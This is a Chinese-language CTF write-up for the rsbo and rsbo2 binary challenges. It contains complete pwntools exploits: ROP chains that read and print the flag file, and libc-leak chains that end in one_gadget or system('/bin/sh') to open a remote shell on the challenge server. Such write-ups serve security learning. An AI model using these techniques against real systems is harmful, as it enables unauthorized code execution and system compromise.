Idea 一道32位的rop,老规矩,先看看保护和逻辑确定一下思路。
1 2 3 4 5 6 7 carlstar@ubuntu:~/Desktop$ checksec rsbo [*] '/home/carlstar/Desktop/rsbo' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char buf[80 ]; int v6; int v7; int v8; int i; alarm(0x1E u); init(); v8 = read_80_bytes(buf); for ( i = 0 ; i < v8; ++i ) { v3 = rand(); v7 = v3 % (i + 1 ); v6 = buf[i]; buf[i] = buf[v3 % (i + 1 )]; buf[v7] = v6; } write (1 , buf, v8); return 0 ; }
init函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void init () { char buf[16 ]; int fd; unsigned int seed; int i; fd = open ("/home/ctf/flag" , 0 ); read (fd, buf, 0x10 u); seed = time(0 ); for ( i = 0 ; i <= 15 ; ++i ) seed = (signed int )(1337 * seed + buf[i]) % 0x7FFFFFFF ; close (fd); memset (buf, 0 , 0x10 u); srand(seed); }
可以看到在 read_80_bytes(buf) 处有明显的栈溢出,有nx,那么很适合做rop。由于是32位的程式,参数都在栈中,所以不需要考虑寄存器的使用,只需要找pop|ret即可,但我们可以更巧妙的来做rop。
_start的反汇编代码,由于函数的输入在程式的开始,我们可以每次跳到这里,即程式初始化的地方,会初始化堆栈。这样的话不用gadget使堆栈平衡也是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text :08048490 public _start .text :08048490 _start proc near ; DATA XREF: LOAD:08048018 ↑o .text :08048490 xor ebp, ebp .text :08048492 pop esi .text :08048493 mov ecx, esp .text :08048495 and esp, 0F FFFFFF0h .text :08048498 push eax .text :08048499 push esp ; stack_end .text :0804849 A push edx ; rtld_fini .text :0804849B push offset __libc_csu_fini ; fini .text :080484 A0 push offset __libc_csu_init ; init .text :080484 A5 push ecx ; ubp_av .text :080484 A6 push esi ; argc .text :080484 A7 push offset main ; main .text :080484 AC call ___libc_start_main .text :080484B 1 hlt .text :080484B 1 _start endp
1、溢出后控制eip,open函数打开flag
2、跳转到_start,read函数把flag读到bss段
3、跳转到_start,write函数把flag输出到标准输出
这里利用的时候不得不说文件描述符 (file descriptor) 的一些知识了。
文件描述符 (file descriptor) 在linux中,进程是通过文件描述符(file descriptors 简称fd)来访问文件的,文件描述符实际上是一个整数。在程序刚启动的时候,默认有三个文件描述符,分别是:0(代表标准输入),1(代表标准输出),2(代表标准错误)。再打开一个新的文件的话,它的文件描述符就是3。
内核为每个进程维护一个已打开文件的记录表,文件描述符是一个较小的正整数(0—1023),它代表记录表的一项,通过文件描述符和一组基于文件描述符的文件操作函数,就可以实现对文件的读、写、创建、删除等操作。
文件函数
open(打开)、creat(创建)、close(关闭)、read(读取)、write(写入)、ftruncate(改变文件大小)、lseek(定位)、fsync(同步)、fstat(获取文件状态)、fchmod(权限)、flock(加锁)、fcntl(控制文件属性)、dup(复制)、dup2、select(文件监听) 和 ioctl
gdb 首先看看溢出的padding是多少,运行起来后生成测试的padding。
再看一下flag的地址,接下来就是常规的rop思路了。
exploit exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) elf = ELF('./rsbo' ) target = remote('hackme.inndy.tw' , 7706 ) ret_addr = elf.symbols['_start' ] open_addr = elf.symbols['open' ] read_addr = elf.symbols['read' ] write_addr = elf.symbols['write' ] flag_addr = 0x80487d0 bss_addr = elf.bss() payload = fit({108 :[p32(open_addr), p32(ret_addr), p32(flag_addr), p32(0 )]}, filler = "\x00" ) target.send(payload) payload = fit({108 :[p32(read_addr), p32(ret_addr), p32(3 ), p32(bss_addr), p32(0x60 )]}, filler = "\x00" ) target.send(payload) payload = fit({108 :[p32(write_addr), p32(0xdeadbeef ), p32(1 ), p32(bss_addr), p32(0x60 )]}, filler = "\x00" ) target.send(payload) flag = target.recvall() print flag
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 carlstar@ubuntu:~/Desktop$ ROPgadget --binary rsbo --only "pop|ret" Gadgets information ============================================================ 0x0804879f : pop ebp ; ret 0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080483cd : pop ebx ; ret 0x0804879e : pop edi ; pop ebp ; ret 0x0804879d : pop esi ; pop edi ; pop ebp ; ret 0x080481aa : ret 0x08048608 : ret 0xd089 0x0804850e : ret 0xeac1 Unique gadgets found: 8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) elf = ELF('./rsbo' ) target = remote('hackme.inndy.tw' , 7706 ) ret_addr = elf.symbols['_start' ] open_addr = elf.symbols['open' ] read_addr = elf.symbols['read' ] write_addr = elf.symbols['write' ] flag_addr = 0x80487d0 bss_addr = elf.bss() payload = fit({108 :[p32(open_addr), p32(0x0804879e ), p32(flag_addr), p32(0 ), p32(ret_addr)]}, filler = "\x00" ) target.send(payload) payload = fit({108 :[p32(read_addr), p32(ret_addr), p32(3 ), p32(bss_addr), p32(0x60 )]}, filler = "\x00" ) target.send(payload) payload = fit({108 :[p32(write_addr), p32(0x0804879d ), p32(1 ), p32(bss_addr), p32(0x60 )]}, filler = "\x00" ) target.send(payload) flag = target.recvall() print flag
rsbo2 这道题目要求getshell,逻辑和保护还和上面一样,所以直接就说思路啦~
大的方面可以分为2种方法:ret2magic和ret2sys_plt。在学习大佬们的wp时候发现都是ret2sys_plt。我突然想到既然可以做rop,而且程式加载了 read 和 write 那么就可以泄漏出来libc,而且题目给了libc文件,不给的话也可以通过泄漏出2个函数真实地址得到。那么有了libc_base,one_gadget是不是可以用了呢?
ret2magic 先泄漏出write函数的真实地址,然后计算libc_base加上magic再第二次ret时直接返回到one_gadget。想法不错,我写好测试脚本把所有的偏移都测试了,都失败了,就剩下最后一个偏移了,本来没抱多大希望,结果还真就成功了。。所以说啊,不到最后一刻千万别放弃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ~/Desktop one_gadget libc-2.23.so.i386 0x3ac3c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3ac3e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3ac42 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3ac49 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5faa5 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5faa6 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' , 7706 ) libc = ELF('./libc-2.23.so.i386' ) elf = ELF('./rsbo-01c51ca9a7b9db3d69289c6dbb1cd758' ) plt_write = elf.symbols['write' ] got_write = elf.got['write' ] ret_addr = elf.symbols['_start' ] payload = fit({108 :[p32(plt_write), p32(ret_addr), p32(1 ), p32(got_write), p32(4 )]},filler = "\x00" ) target.send(payload) write_addr = u32(target.recv(4 )) libc_base = write_addr - libc.symbols['write' ] one_gadget = 0x5faa5 magic = libc_base + one_gadget payload = fit({108 :[p32(magic)]},filler = '\x00' ) target.send(payload) target.interactive()
ret2sys_plt 大体思路都是把返回到system_plt,稍微有区别就是参数/bin/sh写在哪里。可以把参数写到bss段上,当然我们手上有libc文件,程式用这个libc加载的,所以我们可以看看这个libc中有没有/bin/sh这个字符串。这里就演示在libc中寻找参数。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(log_level = "debug" ) target = remote('hackme.inndy.tw' , 7706 ) libc = ELF('./libc-2.23.so.i386' ) elf = ELF('./rsbo-01c51ca9a7b9db3d69289c6dbb1cd758' ) plt_write = elf.symbols['write' ] got_write = elf.got['write' ] ret_addr = elf.symbols['_start' ] payload = fit({108 :[p32(plt_write), p32(ret_addr), p32(1 ), p32(got_write), p32(4 )]},filler = "\x00" ) target.send(payload) write_addr = u32(target.recv(4 )) libc.address = write_addr - libc.symbols['write' ] sh = next(libc.search('/bin/sh' )) payload = fit({108 :[p32(libc.symbols['system' ]), p32(0xdeadbeef ), p32(sh)]},filler = '\x00' ) target.send(payload) target.interactive()